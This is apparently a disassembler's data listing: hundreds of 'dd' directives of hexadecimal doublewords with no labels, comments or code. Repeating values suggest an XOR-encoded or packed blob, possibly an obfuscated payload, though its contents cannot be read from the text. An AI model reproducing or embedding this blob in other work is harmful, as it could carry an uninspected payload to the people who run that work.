		dd 9BBAB02h, 0C184B36Bh, 0B43DF7DCh, 8B226A65h,	17h dup(8B2266DEh)
		dd 94A411DEh, 4AC766DEh, 332266A9h, 30D8AA9Ch, 0CDD423F7h
		dd 0FECE8EDCh, 0AC75FE4h, 333AD8E7h, 30D8C7EEh,	0CDABC7F7h
		dd 456A4DCh, 22286C09h,	172A42AFh, 593E93DEh, 5691DAF7h
		dd 820A38E3h, 2E250EEFh, 9D25E558h, 66D88757h, 7D7AA1A5h
		dd 0E3DAE91Ch, 0BBAA61DDh, 0EBFDC6A9h, 405A00A6h, 49EC28D6h
		dd 85E5C356h, 0D1694900h, 0B588B23Bh, 0D87530A3h, 96A475AEh
		dd 0C79D180Dh, 95E954D0h, 0F992E432h, 0C51FDBA4h, 42270F0Bh
		dd 4BBBFEF2h, 0C51FDA3Ch, 49ED67B3h, 0C51FDAD5h, 0FE863C9Ah
		dd 820764C8h, 0C460D5EFh, 7FC5903Dh, 0C9721E93h, 0E25BAD88h
		dd 475B9519h, 3FB4003Ch, 4DA0B78h, 655912F5h, 33EB7C37h
		dd 196A1B5Ch, 0B0A84779h, 58D0E987h, 0D0137C48h, 955F59DBh
		dd 7A6E7173h, 588DFDA0h, 0C1869280h, 0E4072367h, 6CF01B78h
		dd 0C6E8F7CBh, 0C1845A42h, 0F4C7217Dh, 0CBB39163h, 0C51B2C8Bh
		dd 97B3E624h, 0ADE9853Dh, 3E26A50Dh, 13B8380Ah,	423F0DA1h
		dd 2C0AFDF0h, 0AC7830FCh, 0F6EBF72Ah, 20D3B488h, 3310AA07h
		dd 0A86BCF01h, 6794DC3Bh, 2A3DCAA3h, 40C6A20Eh,	0A7240717h
		dd 80E6CC48h, 232E61DDh, 0BC038479h, 0B6A1F026h, 26B59D3Eh
		dd 0FBA98478h, 0F6FD1461h, 4083183h, 4F583BB8h,	6B935BA8h
		dd 9675E57Eh, 0FBEFE59Ch, 0D9A4378Bh, 402D175Fh, 0BDAD94C3h
		dd 0BDEBE6A1h, 0F39FE9A1h, 1F43669Bh, 0CB599036h, 7C7E68A9h
		dd 28F978A0h, 7D1F0F64h, 0A0D81A6Bh, 0E02266DEh, 97D06042h
		dd 0A63A8530h, 0D1769036h, 0FB937280h, 1F0B6E93h, 0E4829036h
		dd 239828DCh, 0AFBCD0ECh, 726F40B3h, 2291F072h,	7D282580h
		dd 0F506C614h, 8B228CA4h, 2AA6BEDEh, 4A194AC8h,	0C51EB5D6h
		dd 950571A5h, 1A364912h, 96E7D481h, 0B062CF03h,	0C51EF2F4h
		dd 75769FFBh, 0FE6F519Ah, 0C8ADD63Ch, 2CCA0h, 938261C7h
		dd 0FC387F32h, 7DDB61C7h, 7CBF98D9h, 33DEA9BCh,	9D2266DFh
		dd 0C8C58F5Eh, 7CFB731Fh, 0BC84D9A0h, 0C51EF252h, 7713CE1Ch
		dd 5DE7A91Dh, 0A53F5483h, 9EB833Fh, 0EC463530h,	7713D114h
		dd 0F0EF5CA3h, 0C1D0605Eh, 22A576AEh, 30FF64D8h, 0F3E94E83h
		dd 0B82E0AFh, 7D1F0F89h, 64771A6Bh, 7C7F7826h, 0EF7D68ADh
		dd 8B26A24Fh, 99ED13DEh, 7C7FF547h, 0BC6459A0h,	89407DABh
		dd 0D7E1EB5Fh, 96576FE5h, 7CFB7173h, 0E40F9AA0h, 4403A230h
		dd 99ECAB57h, 7C7FF547h, 0FEF416A0h, 1EC7A18h, 0AF28AA2Eh
		dd 0D583E74Dh, 7B3DACD2h, 6B2266DEh, 0DA9E605Fh, 96EB83CCh
		dd 7CFB7173h, 0D972C6A0h, 0C51EB558h, 92F1EEEBh, 0C51EB67Dh
		dd 54662772h, 0D656417Ch, 95D09AE8h, 1A364912h,	14E7D481h
		dd 0C53DEB24h, 1A364375h, 0D0A46DC0h, 1AF234D8h, 0AEA79036h
		dd 7C72EDFEh, 93826FA0h, 0AD576F32h, 50EC36ACh,	0B19AE153h
		dd 1F40F791h, 8449036h,	279AA336h, 0B62511Dh, 0B5BAE827h
		dd 7D1F0F89h, 72D81A6Bh, 0E02266DFh, 97D06042h,	0A63A8530h
		dd 13BB9036h, 0C57EAD6h, 0EFECA33Fh, 0F4A77F3Fh, 268526BCh
		dd 32266DEh, 6B13605Eh,	653ECBBCh, 0FE9ACABh, 6E8EA79Dh
		dd 19A86C31h, 0E0B85680h, 91B02537h, 6469AB67h,	0D6DBE204h
		dd 7CF1903Dh, 726F40E8h, 2291F072h, 94730C9Eh, 144A66DEh
		dd 0F53DEB24h, 0C51EB501h, 95A1D82Eh, 9C9DE570h, 0B372D547h
		dd 6B8374A8h, 94BBC27Eh, 0CFF605BFh, 0F61D7378h, 948644E9h
		dd 0B625130h, 0B5BAE827h, 7D1F0F89h, 8DD81A6Bh,	0E02266DEh
		dd 97D06042h, 0A63A8530h, 13BB9036h, 0AB9E42D5h, 14668F44h
		dd 73E285C2h, 0FDFD40E9h, 9F1CAEDh, 4850B1E6h, 0AA17B430h
		dd 4412F007h, 859BEBE6h, 3AE7D743h, 8B22661Ch, 0BDEBE686h
		dd 4A6540A1h, 0C51EF2C2h, 0A86D0A56h, 17ED9036h, 0FFE396FDh
		dd 7C7F9526h, 0E24AD3A0h, 4403A231h, 0A6859501h, 2248E231h
		dd 4F241C80h, 2BE94E82h, 307698DAh, 0A1F907D7h,	1ECF02Eh
		dd 0A78A8863h, 0BCE5B7Eh, 6F530615h, 7ACABEE7h,	0F56E5048h
		dd 6B2D6F63h, 0C2AFC96h, 45B8CF9h, 0CB459036h, 0B381FBEFh
		dd 7C81A901h, 86DAE3A0h, 81F0FB96h, 3E7F06E1h, 2FBC9E7Eh
		dd 0B49CE642h, 50DDADCDh, 0A68CF437h, 0DA581E83h, 0FE62BEFEh
		dd 8D9C529Fh, 0AB3F578Ah, 6F1A92C5h, 77555F5Eh,	2AF9D0E3h
		dd 2AB45342h, 0DD0282EEh, 6C93A401h, 16A00161h,	881A6DC9h
		dd 0B3FDC678h, 304D271Bh, 0F123E34Fh, 7878D862h, 8B226611h
		dd 7F7843EFh, 0C10B5B8h, 684800B0h, 0C51EB547h,	9DFEF2E8h
		dd 0C51EB570h, 4DF40B7Fh
		dd 6E06B071h, 0A2609DC3h, 0C51EB57Ah, 0D1268149h, 0C51EB5BCh
		dd 196240FCh, 0D5379036h, 3705BC1Ah, 0BE68DC9Bh, 119777Ah
		dd 0C47C6226h, 77EBCED8h, 1983D94Ah, 0FCA5DF1h,	80CC4DA0h
		dd 7C2815A6h, 3DEF07A0h, 20A85208h, 0B4491661h,	754D9CBFh
		dd 7C2B7FD5h, 71289DA0h, 3EE8DC1Eh, 943961DDh, 0C84556ECh
		dd 708EC526h, 0C80FF13Fh, 0A25DFBB6h, 836EB2D1h, 750696EAh
		dd 34AEBC06h, 0A7D0BB55h, 0D6EC166Bh, 0D1783EC2h, 147B496Eh
		dd 72D32DF0h, 0E748BF1h, 0DB6076DBh, 8A77D224h,	5A5230A5h
		dd 923DDD28h, 0D772B440h, 0E0FB496Fh, 845C8B0Fh, 3FB60693h
		dd 89DFEA64h, 2A3EF213h, 0AD446C31h, 4BAE12A1h,	30F9B043h
		dd 0CF2266DEh, 0C8C58F45h, 7CF81B1Fh, 29DCF1A0h, 66B85A27h
		dd 8B231B5Bh, 0B483D9DEh, 96917DA1h, 1FBE8104h,	8AD29036h
		dd 1FACD9EBh, 5B899036h, 55CD739Fh, 7128AB17h, 1D8DAAA7h
		dd 0E0E94E82h, 6018E2A8h, 3D23E15Bh, 0D5A0453h,	5E706F09h
		dd 397B3C81h, 8B2268EFh, 0BDAEE686h, 956251A8h,	1FBE8104h
		dd 94BA9036h, 969CAECBh, 0D6BCF03h, 7C85C25Fh, 0F72D08h
		dd 8B226600h, 5520DAF7h, 23A32CE2h, 4A194BF7h, 0C51EB5D6h
		dd 95D64591h, 0DE67D203h, 0C6CC7197h, 2BE01D40h, 1D4F4851h
		dd 96E7D48Ah, 91909603h, 8B231BA5h, 99ECC1DEh, 7C7FF547h
		dd 0F3F416A0h, 0DE211A18h, 7FD978EDh, 0D2057F0Ah, 0B02A3977h
		dd 0EC606533h, 93084373h, 0EBE94E83h, 96A1E51Bh, 64C8CB74h
		dd 0B9B2CB2Bh, 4F03A23Fh, 0D490AA28h, 76AFB431h, 0EAB5B6B4h
		dd 0B8DF514Ah, 7D730EDh, 5807801Eh, 6C9B605Eh, 0C51EF2B8h
		dd 0C623DE0Ch, 8A6D648Eh, 0FC9B646Ch, 0DF54BF7h, 460C40DEh
		dd 63E5EBB6h, 0A59DE23Eh, 7C7FAFC4h, 0A1E5ADA0h, 7C85F02Eh
		dd 0F72D08h, 8B226603h,	0BDEBE6C5h, 930840A1h, 5AE94E83h
		dd 35C16D56h, 0BAA28451h, 4B10B567h, 53676C30h,	6CCF578Ch
		dd 3A5E7272h, 0D49D49DDh, 8B2344A5h, 6E77A8DEh,	239B3733h
		dd 0BDEBE619h, 930840A1h, 0EBE94E83h, 0EF192BA8h, 0F4A77F3Fh
		dd 0DF376C30h, 0C6E94E86h, 0F0207B83h, 9D6C9FA2h, 96CC6D5Ah
		dd 0AA14999Ch, 8088DC9Bh, 0BD6E5048h, 739C3D0Ah, 884D84A0h
		dd 20CC9AFBh, 0A943496Dh, 0A0FBB5BFh, 0C51EB67Fh, 5B702D70h
		dd 0EFD6B501h, 0FA9D68A7h, 527E2A26h, 0A4F5B4B1h, 12AA4A1h
		dd 55029036h, 5C24C954h, 0D8CAF2DAh, 0C1322B0Ch, 96E7F7DCh
		dd 1FBE8104h, 0CFD29036h, 7C7F9C34h, 5BB674A0h,	1F0B629Fh
		dd 15A99036h, 9DE94E83h, 0C51EB470h, 0C4094738h, 0DEE94E82h
		dd 0AC88C334h, 7EE94E83h, 0C51EEC1Eh, 7C74FC41h, 57871460h
		dd 6AABC67Fh, 0B0C221DBh, 0B448B3B4h, 726951ABh, 0A410F3E8h
		dd 193492B0h, 58D8D3CEh, 4250320Ah, 0D29A4482h,	0B7850CFFh
		dd 0B260F345h, 0C7221E52h, 54172D74h, 0C1873FA1h, 0EAB28288h
		dd 2BF3A2C3h, 0F37D7826h, 11CEDC2h, 1ACC931Ch, 8B226087h
		dd 8C281B71h, 8A9AB1E9h, 0BF6C7A07h, 0C1A5913Dh, 0BDA679AEh
		dd 0EFD4840Ch, 75C8578Ah, 551E4AA7h, 1D312F52h,	7C7A084Ch
		dd 0C8434FA4h, 90240D26h, 0F85F3530h, 7B1FAA1Eh, 3C1048A7h
		dd 0AEA0DD5Fh, 9FD3D85Bh, 1BEBF767h, 0E816AC7h,	96EBF766h
		dd 0C983D94Fh, 72D4DA6Ah, 0B03E86C2h, 0C53DEBD7h, 0E4DBAE4Eh
		dd 0BEA9474Ch, 6B7A935h, 28EE1A3Fh, 0D0FBC67Fh,	4FB249E2h
		dd 7673346Bh, 0ADA47322h, 7D1BAABFh, 6E74BF21h,	0D883D93Dh
		dd 0F2A62C81h, 1AE0518Bh, 0E4B062E0h, 0B94D3ECFh, 0C503408h
		dd 41F23F9Ch, 739AEECDh, 0DE8E34E3h, 837830F0h,	171BAA57h
		dd 0FDAA7CC3h, 32907B1Dh, 79F3E30Bh, 7345177h, 820A4D8Fh
		dd 518B5AA1h, 688EFA77h, 6E32A1A5h, 12407B15h, 22E1E8D2h
		dd 83545038h, 8EC99388h, 8FE8D878h, 1999F172h, 57CA0868h
		dd 2C354380h, 4ECBA1CAh, 39D69F24h, 9F21F4C0h, 0E25A04D5h
		dd 3952A6A4h, 0F6F34F4Fh, 5AC5BDE1h, 987AC267h,	5A38DBF5h
		dd 673C9CFBh, 0C15620ADh, 8B69C027h, 527366DEh,	51CB90BDh
		dd 5CBD662Bh, 0AC8D065Ah, 0F8C22173h, 3F2425E0h, 0C314803Eh
		dd 0C909F1A1h, 0E250DEC6h, 47EC2F3h, 0CE334D27h, 64EBF77Eh
		dd 991869E2h, 0D7488A17h, 1FBE8105h, 8AD29036h,	140D3A88h
		dd 0E7C900A5h, 299C61DDh, 0FE891230h, 3A0659F5h, 7AA7EBB6h
		dd 85A1D82Fh, 72D6E63Fh, 272B4ABEh, 0EC30BD50h,	36F2007Ch
		dd 0FE7F66DEh, 0E14BBC19h, 0B2721224h, 0D998E3D5h, 2CB16AC7h
		dd 94979EF3h, 0A9BD048Ah, 0E53AFDA6h, 0EED06253h, 0F0DE594Eh
		dd 428AC1B3h, 80EBF670h, 0C5A6EC49h, 238CDBA6h,	0C530EB5Fh
		dd 0C16C8632h, 0C154241Fh, 5C5E2C26h, 1E82F0ADh, 473E0C2Eh
		dd 0EDFDABA5h, 36F2B97Ah, 88C80745h, 0DEEBF711h, 67F0242Fh
		dd 9AEC1CC5h, 0C2E3F446h, 0FCB2726h, 1A3645A0h,	0A15F67DAh
		dd 0C24F6E7Fh, 0C452BE26h, 4F245027h, 0B180BB00h, 0C2982AAEh
		dd 0EF634D26h, 220723B6h, 45BC83D5h, 0F93917E3h, 0CBE1053Fh
		dd 74A411E3h, 0EEC1AA5Eh, 340CEBB6h, 0F47949E4h, 5258473Ah
		dd 0FA859515h, 0B1EC4F41h, 0EFD22A64h, 851A468Bh, 0FCED67BAh
		dd 0F67CC4D8h, 0E55A04D4h, 0E47B15A1h, 0E4FF291Dh, 9CBCFE9h
		dd 0B1850F32h, 0CE85E2AEh, 1BB9E8B4h, 0F7CC49E4h, 0CD6BDC39h
		dd 7DA0EAB4h, 1241DB20h, 31EE0ED4h, 0A4761F51h,	0A91049E4h
		dd 64F791CDh, 9FE847CBh, 0F37E518Bh, 0D8E54C69h, 0DE4FB1B5h
		dd 9DF3D105h, 7C2266DEh, 0F7C44C90h, 0F0C48CE0h, 0ACB04877h
		dd 0C6A9B9BCh, 0F3A8A335h, 879A4C69h, 6016B66h,	56B9F7CAh
		dd 0D9B3125Eh, 172A42AFh, 8CAB9BB6h, 1A5B871Ch,	38EFE9F3h
		dd 0AC2266DEh, 78E962CBh, 8F02CB32h, 36C6F0EEh,	8B2266D2h
		dd 8B22620Bh, 8F22DFDEh, 8F12F17Ah, 8CCB8F76h, 8FF2F1DEh
		dd 8BBD3976h, 91CAF1DEh, 39C9B79Dh, 6C3C98E9h, 0CD1BD304h
		dd 5863927Ch, 8FA766DEh, 8F22E332h, 5BFC94D2h, 0C32CB587h
		dd 98E75117h, 0EA6DA1D2h, 93A8E9D6h, 5DB78083h,	800E7229h
		dd 6CB80357h, 8B2266D3h, 8B2F225Fh, 28E966DEh, 9F3D7A32h
		dd 6FB97832h, 0D15111D3h, 5227F7D8h, 504A05BDh,	0CB8D40B9h
		dd 0FA4DBA86h, 1D2B63DDh, 8B301169h, 0BF7566DEh, 8B228EEBh
		dd 0BA2266DEh, 8B2265A3h, 0F8CBBFE5h, 0AEF62585h, 1E190E8Bh
		dd 0E53AFDBAh, 61C56553h, 649DD8B1h, 0CD90CB27h, 91A57ED2h
		dd 0B9A483CEh, 182ADE7h, 0C84E6BD0h, 3C33A126h,	0ECEB833Fh
		dd 17144F82h, 0BD9C09A5h, 947422h, 810556CAh, 7FE3C078h
		dd 2B2B5B88h, 0FFD329C2h, 0C8C65B36h, 1DB9825Eh, 82CF6D6h
		dd 34FAA8FDh, 0D35C5942h, 802FC60Ah, 7E1F53B8h,	0DDE1F9A0h
		dd 1AF69910h, 0DF98026Fh, 674CA1A5h, 8C52AE03h,	0D2341D90h
		dd 964F0D12h, 0E3261037h, 0F3BCB0B7h, 0C03394E8h, 885388E6h
		dd 2CB3FA9Fh, 593E9355h, 0F96996FDh, 0B1E95109h, 425D5210h
		dd 928E324h, 0A2E95109h, 5C250754h, 16788DF2h, 1692416Bh
		dd 0E2266DEh, 0ECEB833Fh, 8B709683h, 0BCA675ADh, 5AAA8908h
		dd 732B172Ah, 91B5FCA0h, 73575DEFh, 0B513CEA0h,	36894E6Dh
		dd 4FD56852h, 8A60F8E9h, 8B234820h, 2DCCBCDEh, 0F917975Eh
		dd 72ABEE14h, 1982F072h, 0E91D57FBh, 8E6D1713h,	9A1584F6h
		dd 40ECC1BCh, 0C85D208Ch, 9DBF4F17h, 0BFA6C0FAh, 5188271Bh
		dd 9A28437Fh, 69868817h, 0EA7098F9h, 0BBD82A4Ah, 9C89FA9h
		dd 299C9036h, 0ACCE939Ch
		dd 0AAF36AADh, 0C68D04D0h, 1D354559h, 14B964D9h, 7C75D76Ch
		dd 0C16D45A0h, 3095E44Fh, 668B383Ch, 0A9E9ABE8h, 0A92C49B6h
		dd 0DEFBECB0h, 876DD0Eh, 0D0497326h, 473E8CAAh,	97ACC32Eh
		dd 0B68AF95Bh, 0FDC00AB8h, 32CEBC09h, 0F27AF043h, 90E95051h
		dd 77AFFD2Ah, 764AD548h, 0EAD52B68h, 45D2261Ch,	0B58C3EF5h
		dd 62DB7672h, 0F8B929Dh, 8AAC6031h, 8B26C6F0h, 56EF62DEh
		dd 0A86BCF0Fh, 0B00CC13Bh, 3DFAB688h, 0C02607E2h, 74F69367h
		dd 50691A0h, 2E920C0Bh,	2690E25Bh, 0AB83DE55h, 0EB6C58D4h
		dd 9F0265F2h, 7EF22F45h, 0EB6624A0h, 1D3542A0h,	24ABBEB3h
		dd 0C9E8A30Dh, 0E2E95118h, 0D67CEE15h, 93CBF589h, 0CE9511Ah
		dd 183689C6h, 8216FEC4h, 3B388320h, 3E5FCC93h, 41F42D99h
		dd 8B226973h, 95D098B5h, 8E05BC1Bh, 741F893Fh, 7B1360A7h
		dd 7577D4E1h, 0EAD52B84h, 3BD7291Dh, 0F2DDCC93h, 84559412h
		dd 0F782DBF5h, 0E40E584h, 9D8BC219h, 0B734AFA1h, 1A3649ABh
		dd 1FA6FFB2h, 79789036h, 0A8E6CC48h, 3E2E9036h,	75EE73FCh
		dd 8A6035CBh, 8B2256CFh, 42EA65DEh, 0FA228D08h,	77EE9036h
		dd 1814B9A4h, 7C78408Bh, 0C591B115h, 243F0F0Bh,	40444758h
		dd 774A2580h, 0B014B916h, 0C6A9B9BCh, 7EAADF35h, 5C5AD9C4h
		dd 36D05C54h, 7829164Ch, 1DA973E5h, 2AB50832h, 940E71BEh
		dd 0F3A8A567h, 0C385E2AFh, 82108CD8h, 6FDC678h,	0BF8F1B83h
		dd 0C3F092EDh, 1C586D26h, 98B05D5Ah, 0AB6778CFh, 5C5DA2A5h
		dd 71402ADh, 34E40AE5h,	7B925604h, 0EDD64F48h, 317CB418h
		dd 6C9BAB0Bh, 1D17E935h, 48126861h, 54C59AE9h, 0BC90DB7Dh
		dd 0B38EB6D6h, 0A407A6DAh, 949961D8h, 0AB461F4Fh, 5B4A04A5h
		dd 0C3E54D98h, 0D478D7D4h, 446240FDh, 0D53761D8h, 48FF41C3h
		dd 0C39261D8h, 36100E77h, 147766DEh, 0C02607A0h, 0C16C6837h
		dd 0C3FEAA1Fh, 91401926h, 4A6FDC01h, 0DD0E88ECh, 0B7850C19h
		dd 2AC1B145h, 2618CD12h, 99FCA212h, 0CFF14A71h,	4006EEEBh
		dd 9625FCB4h, 196A9E06h, 57CA0868h, 1C331B7Ah, 2AC1AE98h
		dd 0E0D7B3A8h, 0BC32C2E0h, 0D900FA54h, 0B26778B8h, 9BA5D5D9h
		dd 0D17B866h, 3AC287D4h, 4B90E714h, 8B26A2A5h, 0C6A6C1DEh
		dd 93AB60CBh, 10694E83h, 5BFFF395h, 62704087h, 0D5FB4572h
		dd 6A2C13C3h, 1FDD580Ah, 0DF871036h, 68F584A8h,	19A073CFh
		dd 0C5909036h, 8BA76453h, 9A1866DEh, 0E7D919E1h, 7965D19Ah
		dd 21CAF89Dh, 807840E4h, 0A28DAAA7h, 4C69D50Ah,	98CEFFA8h
		dd 0FA77F30h, 34C74ABh,	97A001F4h, 0D66CE642h, 0A02681D3h
		dd 2E2D4BCEh, 30A001F6h, 0C03FCE79h, 5F428AE6h,	0CAB5EC85h
		dd 0B3B96426h, 67E45267h, 642EE53Fh, 759B3724h,	73F4ECE5h
		dd 27E8698Ah, 3869990Dh, 0CA8B6544h, 0AE1796AAh, 2476496Eh
		dd 0EF90D45Fh, 0AF62A9DEh, 1FF5CB6Eh, 5A32E042h, 6FD8D40Bh
		dd 8B1BBC92h, 0B3D1D77h, 0E92607A0h, 2A31857Dh,	41D92773h
		dd 64241A8Bh, 571C263Fh, 9A4A497Dh, 0DC838B17h,	0A3653EA9h
		dd 0E6D42508h, 0F6AD28C4h, 8FAD9435h, 155D34C3h, 0DB75D084h
		dd 22424AC2h, 93BB75D0h, 47A05FCAh, 2C8DE15Bh, 39E2B7BDh
		dd 0AC4E3E68h, 0A33BBF94h, 0D9145D08h, 89351CEEh, 52AA5542h
		dd 0FAE41F82h, 0A324D227h, 0B7D47608h, 6A369588h, 2CCF9D11h
		dd 302266DEh, 42180290h, 548D751h, 0E3CA3623h, 1CC523B6h
		dd 78519E1Bh, 0AC3DEA94h, 6869E973h, 500E59D8h,	6381CE2Bh
		dd 624E3436h, 0D2B80957h, 8B2266D2h, 0B0231051h, 8FA242AAh
		dd 4BAA8E32h, 0BFA766DEh, 0D6BB9509h, 8B2F245Eh, 0BE0F66DEh
		dd 8B2266A9h, 0E70F2A55h, 330F3A57h, 3B6D5FC3h,	0C4ACE978h
		dd 12322E0Bh, 7AF89BC0h, 27B19544h, 38E2E332h, 8B3EC1EEh
		dd 638F66DEh, 8F22E8E1h, 9F053C13h, 730F662Dh, 9F053C13h
		dd 8FEACB66h, 1288F164h, 8B226294h, 3828E3DEh, 0E70E7255h
		dd 0ED0E72DDh, 8B2F255Fh, 2C766DEh, 2E3AD896h, 903F3FEEh
		dd 0B8B0D07h, 0A8CB2C4Fh, 574B3894h, 35964C83h,	0F3C6F793h
		dd 1F1B256Ah, 3A413153h, 0E1BA039Ah, 29F4B6A9h,	89155ED6h
		dd 2E5AC52Ah, 0EC233AC4h, 4C14D401h, 0F60FD74Bh, 9B62AA55h
		dd 0BC7035EAh, 0EBD1F47h, 39F7C535h, 1312BB1Ah,	755E0043h
		dd 0CDC87E26h, 8F02E6CEh, 8A78CF70h, 902C3F3Ah,	0AD642646h
		dd 240AA5CDh, 9541BBFAh, 31593E56h, 0C503C30Fh,	0FA4F376Eh
		dd 8637AD54h, 7566BE9Fh, 6D415EF9h, 0C337A7C8h,	1E40CB5Ch
		dd 0FAF9842Bh, 7C2268DDh, 8B2263F6h, 755246DEh,	982AF17Eh
		dd 8F62E9D2h, 8B233BD2h, 7529A3DEh, 0F123CD4Eh,	7FC11BEDh
		dd 9F37DD57h, 1A8A5F6Fh, 5A1992Bh, 7C2268DDh, 8B2263F6h
		dd 755246DEh, 982AF17Eh, 8F62E9D2h, 8B233BD2h, 7529A3DEh
		dd 5CC7BCF0h, 0D566812Bh, 7BA3DD28h, 0AF295F6Fh, 307C4D63h
		dd 8B267896h, 0BC286948h, 8B2266D0h, 0EEF9783Eh, 2F02D257h
		dd 2F02A55Fh, 8B226626h, 4CF9D010h, 2F8F4824h, 49C5CA74h
		dd 0AF56F629h, 307F5D07h, 8B2266DEh, 0BCFF6948h, 8B2266D0h
		dd 0E3F9A13Eh, 2F0E8A57h, 2F02A55Fh, 8B226638h,	2DF9991Fh
		dd 713E57CCh, 2B462923h, 8E949B74h, 8F63ED29h, 0EC2F5F6Fh
		dd 0C884D537h, 0A6315F6Eh, 307C4513h, 0B3596948h, 8B2266D0h
		dd 61F9973Eh, 2F0E5A57h, 2F02A55Fh, 8B226623h, 0C6F9CE15h
		dd 2BFB69B5h, 149619D4h, 463D94E4h, 307F5EDFh, 0CE7E179Dh
		dd 0C8226B4Eh, 0E22695A2h, 0BDE6CBDAh, 43EC2FD9h, 0D7AC9D40h
		dd 1ABDEA09h, 3D51246h,	8ECEE36Fh, 0F258F91Ah, 0FADD42F0h
		dd 0F13E7112h, 60F718C6h, 8CFE9DD1h, 56052698h,	635C58Eh
		dd 2B6D98E7h, 7DB54287h, 0AC820BF0h, 0DE2456F7h, 2022D0E9h
		dd 0D414A25Eh, 0F0BECB97h, 69DAF726h, 601CA56Ch, 0CABECBE4h
		dd 6481C1A8h, 0B29D376Fh, 0AFC629DDh, 0A009DC30h, 0EB7B9C66h
		dd 89CE4BD9h, 12DBCF77h, 778D3B84h, 8980AD74h, 0D8E08C66h
		dd 62FE6341h, 0F0616078h, 0A527D237h, 8E4A7553h, 0DE951E63h
		dd 63BCA39Ah, 0E9BECBC5h, 2A0A918h, 2495A7ADh, 0E4AB7E66h
		dd 62C765EFh, 8DB81B35h, 636C112h, 6A2E447Ah, 0FBCA56Ch
		dd 0F8BECBC2h, 6A6D98C4h, 310AD8D2h, 0B1ABCB9Ah, 80A670E5h
		dd 0E231304Bh, 0FF6D986Ch, 6A6DB6EFh, 8B1A756Ch, 8309D80Bh
		dd 2136C134h, 0D92686D0h, 0A41F7A9Dh, 94C0165Fh, 94C016F8h
		dd 0BC6433F8h, 2E8B8DE0h, 1B1AFE7Bh, 21552F76h,	9F64E263h
		dd 943E16E5h, 28BC33F8h, 1C9E7AB0h, 0AEC6EDF9h,	538636D1h
		dd 6CEF3BBDh, 1EB728h, 94C1115Fh, 0A465B1F8h, 2663497Fh
		dd 32D90961h, 0AE01AD2Ch, 0B0E7C845h, 0EDCEAC4Fh, 948D3350h
		dd 0E04913F8h, 0F85276F4h, 0F8FD7EE4h, 948DF8E4h, 0E0F0BEF8h
		dd 0CD7BCCDCh, 0F3E3576Ch, 743A3E56h, 94CE7864h, 97BD04F8h
		dd 0D98D33F8h, 0CA169831h, 607B7361h, 0CAD2C82Bh, 0F28CB4Eh
		dd 0A016BA7Dh, 73D43251h, 948D33F8h, 3DCD73B1h,	1821A37Bh
		dd 9D268A2h, 595FE8D3h,	94C1DBA2h, 8C2633F8h, 2F263331h
		dd 948D32E0h, 935C44F8h, 94D00BF6h, 0FB6D33F8h,	7F18C9B1h
		dd 4F402FC4h, 94B62FC4h, 0E38733F8h, 18B1DAB9h,	3355118Ah
		dd 98130706h, 58D33F8h,	3598FED2h, 948D33F9h, 0EC1ED2D8h
		dd 2949A730h, 2949EF67h, 948D33B5h, 2F1EDD23h, 33FFFB71h
		dd 1E92C9CAh, 948D33FCh, 948D2F5Fh, 0F47BE4F8h,	34BA2F32h
		dd 0D1E86F07h, 9BC750E0h
		dd 35C1FEE7h, 94C10170h, 8 dup(9D4C6B30h), 4 dup(948D33F8h)
		dd 94C16BF8h, 94C18EA4h, 2 dup(2D8C0EB7h), 0EB198A7Fh
		dd 0EB196B31h, 948D33F9h, 94C101F8h, 948DAA24h,	94C1FE27h
		dd 2D8C0EB7h, 5829AA24h, 0D005F50Fh, 943DF5F8h,	943C6B30h
		dd 0EB196B30h, 2D8C0E88h, 94C1FC24h, 2 dup(0C8D33F8h)
		dd 94C16B30h, 930D33F8h, 0EB196B30h, 948D33B1h,	95996B30h
		dd 0EB196B30h, 948D33F9h, 948D33F8h, 0EB196B30h, 0EB196B31h
		dd 0EB196B79h, 2 dup(0EB196B31h), 0CC16B31h, 6B19860Fh
		dd 0C8D33F9h, 2	dup(5829AA24h),	0EB196B30h, 0EB196B31h
		dd 9335B3F9h, 0EB35B3F8h, 0EB196B31h, 0EB0676F9h, 0C346B31h
		dd 948D33F8h, 13196B78h, 0EB196B30h, 13196B31h,	0EB196B30h
		dd 0EB196B79h, 6B196B31h, 9B6CD9C7h, 33E0AD04h,	93AB2528h
		dd 948D33F8h, 0DBE2B42Dh, 9D811187h, 9D8111A2h,	2Bh dup(948D33F8h)
		dd 94DEC35Fh, 9325BAF8h, 0F18D33F8h, 46092678h,	0D32D2F76h
		dd 0F98F6563h, 948D336Dh, 9140A1F8h, 0AA9E6106h, 948D33E5h
		dd 45136AA5h, 94C72F76h, 0EF3833F8h, 218D33F8h,	0F938FD63h
		dd 0A414C36Dh, 94CCD8B2h, 9333D1C8h, 948AD550h,	237AB0F8h
		dd 948DB4C3h, 19E976F8h, 3DC75162h, 45ECDAF9h, 0A4062F76h
		dd 94CCFCEAh, 189870CBh, 1DF0CE9Ch, 148D9B03h, 8E8D9803h
		dd 646D124Ah, 9D86767Eh, 943DAFFDh, 0E40733F8h,	0E407F52Ch
		dd 0E400292Bh, 27B4FE2Eh, 148D33F8h, 14CEF503h,	0DA8DB403h
		dd 0F03A3223h, 4C16BCF6h, 237868FCh, 0D17F71FDh, 743D8DBAh
		dd 879F2F30h, 0A0EB087Fh, 94CF0BF3h, 1E8433F8h,	0F931179Bh
		dd 0AD00826Dh, 97C75162h, 9C285A51h, 89BD04CBh,	0E28D33F8h
		dd 8F55B32Ch, 0FFCB75FDh, 0FC0DB455h, 0A6BD0489h, 988D33F8h
		dd 7CE80706h, 148D33F8h, 6B8D9BABh, 0DBEE6E78h,	0D871B352h
		dd 0FF2941F9h, 9CE804E7h, 0DA8D33F8h, 0DAC43223h, 3528F523h
		dd 0DBE2B432h, 9CF1AE79h, 98F1AAA6h, 0AA92CC6Ch, 0DBE2B722h
		dd 9C4C7679h, 0E2516AFDh, 600DB452h, 0E41BFE2Eh, 3EB4FEA2h
		dd 0FE2B42Dh, 0D517FFCBh, 6BA23655h, 0AA21E831h, 948D3399h
		dd 0D17F71FDh, 743D8DBAh, 6D2971FDh, 6B3D6B82h,	93416FECh
		dd 303833F8h, 6B8D33F8h, 92709B17h, 94CF0BF3h, 1E8433F8h
		dd 0F9223F9Bh, 0AD00826Dh, 97C750EFh, 9D908D9Dh, 13D98DCBh
		dd 5C19FE87h, 9DAC732Fh, 0DED10B4Ah, 0FF906BB1h, 9EFEAFE5h
		dd 0EC0633F8h, 8F2941FDh, 0D5EB04E7h, 3EBC3555h, 2C986BB1h
		dd 37064032h, 93E4B3BEh, 13D271FDh, 39922FA2h, 30009B23h
		dd 9325B0E6h, 935AAFFDh, 725833F8h, 948DF365h, 0AA92B6F8h
